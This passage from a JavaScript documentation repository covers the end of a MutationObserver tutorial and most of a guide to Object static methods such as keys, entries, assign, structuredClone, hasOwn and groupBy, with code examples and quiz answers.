MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    for (const node of mutation.addedNodes) {\n      console.log('Added:', node.tagName)  // undefined for text nodes!\n    }\n  }\n})\n\n// ✓ CORRECT - filter for elements only\nconst observer = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    for (const node of mutation.addedNodes) {\n      if (node.nodeType === Node.ELEMENT_NODE) {\n        console.log('Added element:', node.tagName)\n      }\n    }\n  }\n})\n```\n\n### Mistake 2: Causing Infinite Loops\n\n```javascript\n// ❌ WRONG - modifying the DOM inside the callback that watches for modifications\nconst observer = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    // This causes another mutation, which fires the callback again!\n    mutation.target.setAttribute('data-processed', 'true')\n  }\n})\n\nobserver.observe(element, { attributes: true })\n\n// ✓ CORRECT - guard against reprocessing\nconst observer = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    if (mutation.target.dataset.processed) continue  // Skip already processed\n    mutation.target.dataset.processed = 'true'\n  }\n})\n\n// Or better - exclude the attribute you're setting\nobserver.observe(element, {\n  attributes: true,\n  attributeFilter: ['class', 'data-state']  // Don't include 'data-processed'\n})\n```\n\n### Mistake 3: Forgetting to Disconnect\n\n```javascript\n// ❌ WRONG - observer keeps running after element is removed\nfunction setupWidget(container) {\n  const observer = new MutationObserver(handleChanges)\n  observer.observe(container, { childList: true })\n  \n  // Container gets removed later, but observer is never disconnected\n  // Memory leak!\n}\n\n// ✓ CORRECT - clean up when done\nfunction setupWidget(container) {\n  const observer = new MutationObserver(handleChanges)\n  observer.observe(container, { childList: true })\n  \n  // Return cleanup function\n  return () => observer.disconnect()\n}\n\nconst cleanup = setupWidget(myContainer)\n// Later when removing the widget:\ncleanup()\n```\n\n### Mistake 4: Over-Observing\n\n```javascript\n// ❌ WRONG - watching everything everywhere\nobserver.observe(document.body, {\n  childList: true,\n  attributes: true,\n  characterData: true,\n  subtree: true,\n  attributeOldValue: true,\n  characterDataOldValue: true\n})\n\n// ✓ CORRECT - be specific about what you need\nobserver.observe(specificContainer, {\n  childList: true,\n  subtree: true\n  // Only watch what you actually need\n})\n```\n\n---\n\n## MutationObserver vs Other Approaches\n\n| Approach | When to Use | Drawbacks |\n|----------|-------------|-----------|\n| **MutationObserver** | Reacting to any DOM change | Slightly complex API |\n| **Event delegation** | Reacting to user events on dynamic content | Only works for events that bubble |\n| **Polling (setInterval)** | Never for DOM watching | Wasteful, misses changes between checks |\n| **Mutation Events** | Never (deprecated) | Performance killer, removed from standards |\n| **ResizeObserver** | Watching element size changes | Only for size, not other attributes |\n| **IntersectionObserver** | Watching element visibility | Only for visibility, not DOM changes |\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **MutationObserver watches DOM changes** — It fires a callback when elements are added/removed, attributes change, or text content changes.\n\n2. **It replaced Mutation Events** — The old API was synchronous and killed performance. MutationObserver is asynchronous and batches changes.\n\n3. **You must specify what to watch** — Use `childList`, `attributes`, and/or `characterData` in the config object.\n\n4. **subtree extends to descendants** — Without it, only direct children are watched.\n\n5. **Callbacks receive MutationRecords** — Each record tells you the mutation type, target, and what specifically changed.\n\n6. **Always disconnect when done** — Prevents memory leaks and unnecessary processing.\n\n7. **Callbacks run as microtasks** — After the current script, before rendering, batched together.\n\n8. **Filter addedNodes by nodeType** — The NodeList includes text nodes and comments, not just elements.\n\n9. **Be specific to avoid performance issues** — Don't watch everything on document.body unless you really need to.\n\n10. **Guard against infinite loops** — If your callback modifies the DOM, make sure it doesn't trigger itself.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What three types of mutations can MutationObserver detect?\">\n    **Answer:** MutationObserver can detect three types of mutations:\n    \n    1. **childList** — Child nodes being added or removed\n    2. **attributes** — Attribute values changing\n    3. **characterData** — Text content changing in text nodes\n    \n    Each mutation type corresponds to a `type` property value in the MutationRecord.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does the subtree option do?\">\n    **Answer:** The `subtree: true` option extends observation to ALL descendants of the target element, not just direct children.\n    \n    Without `subtree`, only immediate children of the observed element trigger mutations. With `subtree`, changes anywhere in the element's entire tree trigger mutations.\n    \n    ```javascript\n    // Only direct children\n    observer.observe(parent, { childList: true })\n    \n    // All descendants\n    observer.observe(parent, { childList: true, subtree: true })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: When do MutationObserver callbacks run?\">\n    **Answer:** MutationObserver callbacks run as **microtasks**. This means they execute:\n    \n    1. After the current synchronous script finishes\n    2. After all pending microtasks (like Promise callbacks)\n    3. Before the browser renders/paints\n    \n    Multiple DOM changes are batched and delivered in a single callback invocation.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How do you stop a MutationObserver from watching?\">\n    **Answer:** Call the `disconnect()` method on the observer:\n    \n    ```javascript\n    const observer = new MutationObserver(callback)\n    observer.observe(element, { childList: true })\n    \n    // Stop watching\n    observer.disconnect()\n    ```\n    \n    If you need to process pending mutations before disconnecting, call `takeRecords()` first.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why should you filter addedNodes by nodeType?\">\n    **Answer:** The `addedNodes` and `removedNodes` NodeLists include ALL node types, not just elements. This includes:\n    \n    - Text nodes (nodeType 3)\n    - Comment nodes (nodeType 8)\n    - Element nodes (nodeType 1)\n    \n    If you only care about elements, filter by `node.nodeType === Node.ELEMENT_NODE`:\n    \n    ```javascript\n    for (const node of mutation.addedNodes) {\n      if (node.nodeType === Node.ELEMENT_NODE) {\n        // This is an actual element\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How can you cause an infinite loop with MutationObserver?\">\n    **Answer:** If your callback modifies the DOM in a way that triggers another mutation, and you're watching for that type of mutation, you can create an infinite loop:\n    \n    ```javascript\n    // Infinite loop - setting an attribute inside a callback \n    // that watches attributes!\n    const observer = new MutationObserver((mutations) => {\n      element.setAttribute('data-count', count++)  // Triggers another mutation!\n    })\n    observer.observe(element, { attributes: true })\n    ```\n    \n    **Solutions:**\n    - Use `attributeFilter` to exclude the attribute you're modifying\n    - Add a guard condition to skip already-processed elements\n    - Set a flag before modifying and check it in the callback\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is MutationObserver in JavaScript?\">\n    MutationObserver is a built-in API that watches a DOM element and fires a callback when specified changes occur — child nodes added or removed, attributes modified, or text content changed. It replaced the deprecated Mutation Events API, which was removed from the W3C specification due to severe performance problems.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between MutationObserver and Mutation Events?\">\n    Mutation Events (`DOMNodeInserted`, `DOMAttrModified`) fired synchronously on every single DOM change, blocking the main thread. MutationObserver batches changes and delivers them asynchronously as microtasks. MDN marks Mutation Events as deprecated and recommends MutationObserver as the only supported alternative.\n  </Accordion>\n\n  <Accordion title=\"What does the subtree option do in MutationObserver?\">\n    Without `subtree: true`, MutationObserver only watches direct children of the target element. With `subtree: true`, it watches the entire descendant tree. Use subtree when changes can happen at any depth, but be specific about which element to observe to avoid performance overhead.\n  </Accordion>\n\n  <Accordion title=\"How do I avoid infinite loops with MutationObserver?\">\n    If your callback modifies the DOM in a way the observer is watching, it triggers another callback — creating a loop. Use `attributeFilter` to exclude attributes you modify, add a guard condition to skip processed elements, or temporarily disconnect before making changes and reconnect afterward.\n  </Accordion>\n\n  <Accordion title=\"When do MutationObserver callbacks execute?\">\n    Callbacks run as microtasks — after the current synchronous script finishes but before the browser paints. According to the WHATWG specification, multiple rapid DOM changes are batched into a single callback invocation, which is why MutationObserver is far more efficient than the synchronous Mutation Events it replaced.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"DOM\" icon=\"sitemap\" href=\"/concepts/dom\">\n    Understanding the DOM tree that MutationObserver watches\n  </Card>\n  <Card title=\"Intersection Observer\" icon=\"eye\" href=\"/beyond/concepts/intersection-observer\">\n    Another Observer API for detecting element visibility\n  </Card>\n  <Card title=\"Resize Observer\" icon=\"arrows-left-right\" href=\"/beyond/concepts/resize-observer\">\n    Observer API for detecting element size changes\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How microtasks (including MutationObserver callbacks) are scheduled\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"MutationObserver — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\">\n    Complete MDN reference for the MutationObserver interface, including constructor, methods, and browser compatibility.\n  </Card>\n  <Card title=\"MutationObserver.observe() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/observe\">\n    Detailed documentation of the observe() method and all configuration options in MutationObserverInit.\n  </Card>\n  <Card title=\"MutationRecord — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord\">\n    Reference for the MutationRecord interface that describes individual DOM mutations.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Mutation Observer — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/mutation-observer\">\n    Comprehensive tutorial covering syntax, configuration, and practical use cases like syntax highlighting. Includes interactive examples you can run in the browser.\n  </Card>\n  <Card title=\"Getting To Know The MutationObserver API — CSS-Tricks\" icon=\"newspaper\" href=\"https://css-tricks.com/getting-to-know-the-mutationobserver-api/\">\n    Chris Coyier's practical introduction with real-world examples. Great for understanding when and why to use MutationObserver.\n  </Card>\n  <Card title=\"Tracking DOM Changes with MutationObserver — dev.to\" icon=\"newspaper\" href=\"https://dev.to/betelgeuseas/tracking-changes-in-the-dom-using-mutationobserver-i8h\">\n    Practical guide covering use cases like notifying visitors of page changes, dynamic module loading, and implementing undo/redo in editors.\n  </Card>\n  <Card title=\"DOM MutationObserver — Mozilla Hacks\" icon=\"newspaper\" href=\"https://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/\">\n    The original Mozilla blog post introducing MutationObserver. Explains why it was created and how it improves on Mutation Events.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"MutationObserver is Unbelievably Powerful — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Mi4EF9K87aM\">\n    Clear explanation of MutationObserver covering attributes, text content, and subtree mutations. Perfect for visual learners who want to understand the core concepts quickly.\n  </Card>\n  <Card title=\"Dominate the DOM with MutationObserver — Net Ninja\" icon=\"video\" href=\"https://www.youtube.com/watch?v=_USLLDbkQI0\">\n    Practical tutorial using a Webflow Slider example. Shows how to handle third-party components you don't control by watching for their DOM changes.\n  </Card>\n  <Card title=\"MutationObserver in JS is INCREDIBLY Powerful\" icon=\"video\" href=\"https://www.youtube.com/watch?v=S8AWt70JMhQ\">\n    Advanced tutorial covering how frameworks like React and Angular use MutationObserver internally. Great for interview prep and deeper understanding.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/object-methods.mdx",
    "content": "---\ntitle: \"JavaScript Object Methods\"\nsidebarTitle: \"Object Methods: Inspect & Transform\"\ndescription: \"Learn JavaScript Object methods. Master Object.keys(), values(), entries(), assign(), structuredClone(), hasOwn(), and groupBy() for object manipulation.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Objects & Properties\"\n\"article:tag\": \"object methods, object.keys, object.entries, object.assign, structuredclone, object manipulation\"\n---\n\nHow do you loop through an object's properties? How do you transform an object's keys? Or create a true copy of an object without unexpected side effects?\n\nJavaScript's `Object` constructor comes with a powerful toolkit of static methods that let you inspect, iterate, transform, and clone objects. Once you know them, you'll reach for them constantly.\n\n```javascript\nconst user = { name: 'Alice', age: 30, city: 'NYC' }\n\n// Get all keys, values, or key-value pairs\nObject.keys(user)     // ['name', 'age', 'city']\nObject.values(user)   // ['Alice', 30, 'NYC']\nObject.entries(user)  // [['name', 'Alice'], ['age', 30], ['city', 'NYC']]\n\n// Transform and rebuild\nconst upperKeys = Object.fromEntries(\n  Object.entries(user).map(([key, value]) => [key.toUpperCase(), value])\n)\n// { NAME: 'Alice', AGE: 30, CITY: 'NYC' }\n```\n\n<Info>\n**What you'll learn in this guide:**\n- How to iterate objects with [`Object.keys()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys), [`Object.values()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values), and [`Object.entries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/entries)\n- How to transform objects using [`Object.fromEntries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/fromEntries)\n- Shallow vs deep cloning with [`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) and [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone)\n- Safe property checking with [`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn)\n- Precise equality with [`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is)\n- Grouping data with [`Object.groupBy()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy) (ES2024)\n- When to use each method in real-world scenarios\n</Info>\n\n---\n\n## What are Object Methods?\n\n**Object methods** are static functions on JavaScript's built-in `Object` constructor that let you inspect, manipulate, and transform objects. Unlike instance methods you call on the object itself (like `toString()`), these are called on `Object` directly with the target object passed as an argument. According to MDN, the `Object` constructor provides over 30 static methods, with new ones like `Object.groupBy()` added as recently as ES2024.\n\n```javascript\nconst product = { name: 'Laptop', price: 999 }\n\n// Static method: called on Object\nObject.keys(product)  // ['name', 'price']\n\n// Instance method: called on the object\nproduct.toString()    // '[object Object]'\n```\n\nThink of `Object` as a toolbox sitting next to your workbench. You don't modify the toolbox itself. You reach into it, grab a tool, and use it on whatever object you're working with.\n\n---\n\n## The Toolbox Analogy\n\nImagine you have a filing cabinet (your object) and a set of tools for working with it:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE OBJECT TOOLBOX                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   YOUR OBJECT (Filing Cabinet)          THE TOOLS (Object.*)             │\n│   ┌─────────────────────┐               ┌────────────────────────────┐   │\n│   │ name: \"Alice\"       │               │ keys()     → list labels   │   │\n│   │ age: 30             │    ────►      │ values()   → list contents │   │\n│   │ city: \"NYC\"         │               │ entries()  → list both     │   │\n│   └─────────────────────┘               │ assign()   → copy/merge    │   │\n│                                         │ hasOwn()   → check exists  │   │\n│                                         │ groupBy()  → organize      │   │\n│                                         └────────────────────────────┘   │\n│                                                                          │\n│   You don't modify the toolbox. You use the tools ON your object.        │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Iteration Methods: keys, values, entries\n\nThese three methods convert an object into an array you can loop over or transform.\n\n### Object.keys()\n\nReturns an array of the object's own enumerable property **names** (keys).\n\n```javascript\nconst user = { name: 'Alice', age: 30, city: 'NYC' }\n\nconst keys = Object.keys(user)\nconsole.log(keys)  // ['name', 'age', 'city']\n\n// Loop through keys\nfor (const key of Object.keys(user)) {\n  console.log(key)  // 'name', 'age', 'city'\n}\n```\n\n### Object.values()\n\nReturns an array of the object's own enumerable property **values**.\n\n```javascript\nconst user = { name: 'Alice', age: 30, city: 'NYC' }\n\nconst values = Object.values(user)\nconsole.log(values)  // ['Alice', 30, 'NYC']\n\n// Sum all numeric values\nconst scores = { math: 95, science: 88, history: 92 }\nconst total = Object.values(scores).reduce((sum, score) => sum + score, 0)\nconsole.log(total)  // 275\n```\n\n### Object.entries()\n\nReturns an array of `[key, value]` pairs. This is the most versatile of the three.\n\n```javascript\nconst user = { name: 'Alice', age: 30, city: 'NYC' }\n\nconst entries = Object.entries(user)\nconsole.log(entries)\n// [['name', 'Alice'], ['age', 30], ['city', 'NYC']]\n\n// Destructure in a loop\nfor (const [key, value] of Object.entries(user)) {\n  console.log(`${key}: ${value}`)\n}\n// name: Alice\n// age: 30\n// city: NYC\n```\n\n### Quick Comparison\n\n| Method | Returns | Use When |\n|--------|---------|----------|\n| `Object.keys(obj)` | `['key1', 'key2', ...]` | You only need the property names |\n| `Object.values(obj)` | `[value1, value2, ...]` | You only need the values |\n| `Object.entries(obj)` | `[['key1', value1], ...]` | You need both keys and values |\n\n<Note>\nAll three methods only return **own** enumerable properties. They skip inherited properties from the prototype chain and non-enumerable properties. See [Property Descriptors](/beyond/concepts/property-descriptors) for more on enumerability.\n</Note>\n\n---\n\n## Transforming Objects with fromEntries()\n\n[`Object.fromEntries()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/fromEntries) is the inverse of `Object.entries()`. It takes an iterable of `[key, value]` pairs and builds an object.\n\n```javascript\nconst entries = [['name', 'Alice'], ['age', 30]]\nconst user = Object.fromEntries(entries)\nconsole.log(user)  // { name: 'Alice', age: 30 }\n```\n\nThe real power comes from combining `entries()` and `fromEntries()` with array methods like `map()` and `filter()`.\n\n### Transform Object Keys\n\n```javascript\nconst user = { name: 'Alice', age: 30, city: 'NYC' }\n\n// Convert all keys to uppercase\nconst upperCased = Object.fromEntries(\n  Object.entries(user).map(([key, value]) => [key.toUpperCase(), value])\n)\nconsole.log(upperCased)  // { NAME: 'Alice', AGE: 30, CITY: 'NYC' }\n```\n\n### Filter Object Properties\n\n```javascript\nconst product = { name: 'Laptop', price: 999, inStock: true, sku: 'LP001' }\n\n// Keep only string values\nconst stringsOnly = Object.fromEntries(\n  Object.entries(product).filter(([key, value]) => typeof value === 'string')\n)\nconsole.log(stringsOnly)  // { name: 'Laptop', sku: 'LP001' }\n```\n\n### Convert a Map to an Object\n\n```javascript\nconst map = new Map([\n  ['name', 'Alice'],\n  ['role', 'Admin']\n])\n\nconst obj = Object.fromEntries(map)\nconsole.log(obj)  // { name: 'Alice', role: 'Admin' }\n```\n\n<Tip>\n**The Transform Pipeline:** `Object.entries()` → array methods → `Object.fromEntries()` is a powerful pattern. It's like `map()` for objects.\n</Tip>\n\n---\n\n## Cloning and Merging Objects\n\nJavaScript objects are assigned by reference. When you need a separate copy, you have several options.\n\n### Object.assign() — Shallow Copy and Merge\n\n[`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) copies all enumerable own properties from source objects to a target object.\n\n```javascript\nconst target = { a: 1 }\nconst source = { b: 2 }\n\nObject.assign(target, source)\nconsole.log(target)  // { a: 1, b: 2 }\n```\n\nFor cloning, use an empty object as the target:\n\n```javascript\nconst original = { name: 'Alice', age: 30 }\nconst clone = Object.assign({}, original)\n\nclone.name = 'Bob'\nconsole.log(original.name)  // 'Alice' — original unchanged\n```\n\n**Merge multiple objects:**\n\n```javascript\nconst defaults = { theme: 'light', fontSize: 14 }\nconst userPrefs = { theme: 'dark' }\n\nconst settings = Object.assign({}, defaults, userPrefs)\nconsole.log(settings)  // { theme: 'dark', fontSize: 14 }\n```\n\n<Warning>\n**Shallow copy only!** Nested objects are still shared by reference:\n\n```javascript\nconst original = { \n  name: 'Alice', \n  address: { city: 'NYC' } \n}\n\nconst clone = Object.assign({}, original)\nclone.address.city = 'LA'\n\nconsole.log(original.address.city)  // 'LA' — both changed!\n```\n</Warning>\n\n### structuredClone() — Deep Copy\n\n[`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone) creates a true deep copy, including nested objects. It was added to browsers and Node.js in 2022. As the web.dev team documented, `structuredClone()` replaced the common `JSON.parse(JSON.stringify(obj))` workaround that failed with `Date`, `Map`, `Set`, `RegExp`, and circular references.\n\n```javascript\nconst original = { \n  name: 'Alice', \n  address: { city: 'NYC' } \n}\n\nconst clone = structuredClone(original)\nclone.address.city = 'LA'\n\nconsole.log(original.address.city)  // 'NYC' — original unchanged!\n```\n\n**It also handles:**\n- Circular references\n- Most built-in types (Date, Map, Set, ArrayBuffer, etc.)\n\n```javascript\nconst data = {\n  date: new Date('2024-01-01'),\n  items: new Set([1, 2, 3])\n}\n\nconst clone = structuredClone(data)\nconsole.log(clone.date instanceof Date)  // true\nconsole.log(clone.items instanceof Set)  // true\n```\n\n<Warning>\n**structuredClone() cannot clone:**\n- Functions\n- DOM nodes\n- Property descriptors (getters/setters become plain values)\n- Prototype chain (you get plain objects)\n\n```javascript\nconst obj = { \n  greet: () => 'Hello'  // Function\n}\n\nstructuredClone(obj)  // Throws: DataCloneError\n```\n</Warning>\n\n### Shallow vs Deep: When to Use Each\n\n| Method | Depth | Speed | Use When |\n|--------|-------|-------|----------|\n| `Object.assign()` | Shallow | Fast | Merging objects, no nested objects |\n| Spread `{...obj}` | Shallow | Fast | Quick clone, no nested objects |\n| `structuredClone()` | Deep | Slower | Nested objects that must be independent |\n\n---\n\n## Object.hasOwn() — Safe Property Checking\n\n[`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn) checks if an object has a property as its own (not inherited). It's the modern replacement for `hasOwnProperty()`, introduced in ES2022. MDN recommends using `Object.hasOwn()` over `Object.prototype.hasOwnProperty()` in all new code because it works correctly with null-prototype objects and cannot be overridden.\n\n```javascript\nconst user = { name: 'Alice', age: 30 }\n\nconsole.log(Object.hasOwn(user, 'name'))      // true\nconsole.log(Object.hasOwn(user, 'toString'))  // false (inherited)\nconsole.log(Object.hasOwn(user, 'email'))     // false (doesn't exist)\n```\n\n### Why Not Just Use hasOwnProperty()?\n\n`Object.hasOwn()` is safer in two situations:\n\n**1. Objects with null prototype:**\n\n```javascript\nconst nullProto = Object.create(null)\nnullProto.id = 1\n\n// hasOwnProperty doesn't exist on null-prototype objects!\nnullProto.hasOwnProperty('id')  // TypeError!\n\n// Object.hasOwn works fine\nObject.hasOwn(nullProto, 'id')  // true\n```\n\n**2. Objects that override hasOwnProperty:**\n\n```javascript\nconst sneaky = {\n  hasOwnProperty: () => false  // Someone overrode it!\n}\n\nsneaky.hasOwnProperty('hasOwnProperty')  // false (wrong!)\nObject.hasOwn(sneaky, 'hasOwnProperty')  // true (correct!)\n```\n\n<Tip>\n**Modern best practice:** Use `Object.hasOwn()` instead of `obj.hasOwnProperty()`. It's more robust and reads more clearly.\n</Tip>\n\n---\n\n## Object.is() — Precise Equality\n\n[`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) compares two values for same-value equality. It's like `===` but handles two edge cases differently.\n\n```javascript\n// Same as ===\nObject.is(5, 5)           // true\nObject.is('hello', 'hello')  // true\nObject.is({}, {})         // false (different references)\n\n// Different from ===\nObject.is(NaN, NaN)       // true  (=== returns false!)\nObject.is(0, -0)          // false (=== returns true!)\n```\n\n### When to Use Object.is()\n\nYou rarely need it, but it's essential when:\n\n- Detecting `NaN` values (though `Number.isNaN()` is usually clearer)\n- Distinguishing `+0` from `-0` (rare mathematical scenarios)\n- Implementing equality checks in libraries\n\n```javascript\n// NaN comparison\nconst value = NaN\n\nvalue === NaN           // false (always!)\nObject.is(value, NaN)   // true\nNumber.isNaN(value)     // true (preferred for this case)\n\n// Zero comparison\nconst positiveZero = 0\nconst negativeZero = -0\n\npositiveZero === negativeZero      // true\nObject.is(positiveZero, negativeZero)  // false\n```\n\n---\n\n## Object.groupBy() — Grouping Data (ES2024)\n\n[`Object.groupBy()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy) groups array elements by the result of a callback function. It's brand new in ES2024.\n\n```javascript\nconst inventory = [\n  { name: 'apples', type: 'fruit', quantity: 5 },\n  { name: 'bananas', type: 'fruit', quantity: 3 },\n  { name: 'carrots', type: 'vegetable', quantity: 10 },\n  { name: 'broccoli', type: 'vegetable', quantity: 7 }\n]\n\nconst byType = Object.groupBy(inventory, item => item.type)\n\nconsole.log(byType)\n// {\n//   fruit: [\n//     { name: 'apples', type: 'fruit', quantity: 5 },\n//     { name: 'bananas', type: 'fruit', quantity: 3 }\n//   ],\n//   vegetable: [\n//     { name: 'carrots', type: 'vegetable', quantity: 10 },\n//     { name: 'broccoli', type: 'vegetable', quantity: 7 }\n//   ]\n// }\n```\n\n### Custom Grouping Logic\n\nThe callback can return any string to use as the group key:\n\n```javascript\nconst products = [\n  { name: 'Laptop', price: 999 },\n  { name: 'Mouse', price: 29 },\n  { name: 'Monitor', price: 399 },\n  { name: 'Keyboard', price: 89 }\n]\n\nconst byPriceRange = Object.groupBy(products, product => {\n  if (product.price < 50) return 'budget'\n  if (product.price < 200) return 'mid-range'\n  return 'premium'\n})\n\nconsole.log(byPriceRange)\n// {\n//   premium: [{ name: 'Laptop', price: 999 }, { name: 'Monitor', price: 399 }],\n//   budget: [{ name: 'Mouse', price: 29 }],\n//   'mid-range': [{ name: 'Keyboard', price: 89 }]\n// }\n```\n\n<Warning>\n**Browser compatibility:** `Object.groupBy()` is new (March 2024). Check [Can I Use](https://caniuse.com/mdn-javascript_builtins_object_groupby) before using in production. For older environments, use a polyfill or Lodash's `groupBy()`.\n</Warning>\n\n---\n\n## Inspection Methods\n\nThese methods reveal more details about an object's properties.\n\n### Object.getOwnPropertyNames()\n\nReturns all own property names, **including non-enumerable ones**:\n\n```javascript\nconst arr = [1, 2, 3]\n\nObject.keys(arr)                  // ['0', '1', '2']\nObject.getOwnPropertyNames(arr)   // ['0', '1', '2', 'length']\n```\n\n### Object.getOwnPropertySymbols()\n\nReturns all own Symbol-keyed properties:\n\n```javascript\nconst id = Symbol('id')\nconst obj = { \n  name: 'Alice',\n  [id]: 12345 \n}\n\nObject.keys(obj)                   // ['name']\nObject.getOwnPropertySymbols(obj)  // [Symbol(id)]\n```\n\n---\n\n## Object Protection Methods\n\nFor controlling what can be done to an object, see [Property Descriptors](/beyond/concepts/property-descriptors). Here's a quick reference:\n\n| Method | Add Properties | Delete Properties | Modify Values |\n|--------|---------------|-------------------|---------------|\n| Normal object | Yes | Yes | Yes |\n| `Object.preventExtensions()` | No | Yes | Yes |\n| `Object.seal()` | No | No | Yes |\n| `Object.freeze()` | No | No | No |\n\n```javascript\nconst config = { apiUrl: 'https://api.example.com' }\n\nObject.freeze(config)\nconfig.apiUrl = 'https://evil.com'  // Silently fails\nconsole.log(config.apiUrl)  // 'https://api.example.com'\n```\n\n---\n\n## Object.create() — Creating with a Prototype\n\nFor creating objects with a specific prototype, see [Object Creation & Prototypes](/concepts/object-creation-prototypes). Brief example:\n\n```javascript\nconst personProto = {\n  greet() { return `Hi, I'm ${this.name}` }\n}\n\nconst alice = Object.create(personProto)\nalice.name = 'Alice'\nconsole.log(alice.greet())  // \"Hi, I'm Alice\"\n```\n\n---\n\n## Common Patterns and Where They're Used\n\n### Data Transformation Pipelines\n\nCommon in React/Redux for transforming state:\n\n```javascript\n// Normalize an API response into a lookup object\nconst users = [\n  { id: 1, name: 'Alice' },\n  { id: 2, name: 'Bob' }\n]\n\nconst usersById = Object.fromEntries(\n  users.map(user => [user.id, user])\n)\n// { 1: { id: 1, name: 'Alice' }, 2: { id: 2, name: 'Bob' } }\n```\n\n### Configuration Merging\n\nCommon in libraries and frameworks:\n\n```javascript\nfunction createClient(userOptions = {}) {\n  const defaults = {\n    timeout: 5000,\n    retries: 3,\n    baseUrl: 'https://api.example.com'\n  }\n  \n  const options = Object.assign({}, defaults, userOptions)\n  // ... use options\n}\n```\n\n### Safe Property Access in APIs\n\n```javascript\nfunction processData(data) {\n  if (Object.hasOwn(data, 'userId')) {\n    // Safe to use data.userId\n  }\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **`Object.keys()`, `values()`, `entries()`** — Convert objects to arrays for iteration and transformation.\n\n2. **`Object.fromEntries()`** — Builds an object from key-value pairs. Combine with `entries()` for object transformations.\n\n3. **`Object.assign()` is shallow** — Only the top level is copied. Nested objects are still shared references.\n\n4. **`structuredClone()` is deep** — Creates a true independent copy, including nested objects.\n\n5. **`Object.hasOwn()` beats `hasOwnProperty()`** — Works on null-prototype objects and can't be overridden.\n\n6. **`Object.is()` handles NaN and -0** — Use it when strict equality (`===`) isn't enough.\n\n7. **`Object.groupBy()` is ES2024** — Check browser support before using without a polyfill.\n\n8. **These are static methods** — Called as `Object.method(obj)`, not `obj.method()`.\n\n9. **Only own enumerable properties** — `keys()`, `values()`, and `entries()` skip inherited and non-enumerable properties.\n\n10. **Spread `{...obj}` is just shallow** — Same as `Object.assign({}, obj)`.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What's the difference between Object.keys() and Object.getOwnPropertyNames()?\">\n    **Answer:**\n    \n    `Object.keys()` returns only **enumerable** own properties.\n    `Object.getOwnPropertyNames()` returns **all** own properties, including non-enumerable ones.\n    \n    ```javascript\n    const arr = [1, 2, 3]\n    \n    Object.keys(arr)                  // ['0', '1', '2']\n    Object.getOwnPropertyNames(arr)   // ['0', '1', '2', 'length']\n    // 'length' is non-enumerable\n    ```\n  </Accordion>\n  \n  <Accordion title=\"How do you deep clone an object with nested objects?\">\n    **Answer:**\n    \n    Use `structuredClone()` for a true deep copy:\n    \n    ```javascript\n    const original = { \n      user: { name: 'Alice' } \n    }\n    \n    const clone = structuredClone(original)\n    clone.user.name = 'Bob'\n    \n    console.log(original.user.name)  // 'Alice' — unchanged\n    ```\n    \n    Note: `structuredClone()` can't clone functions or DOM nodes.\n  </Accordion>\n  \n  <Accordion title=\"Why does 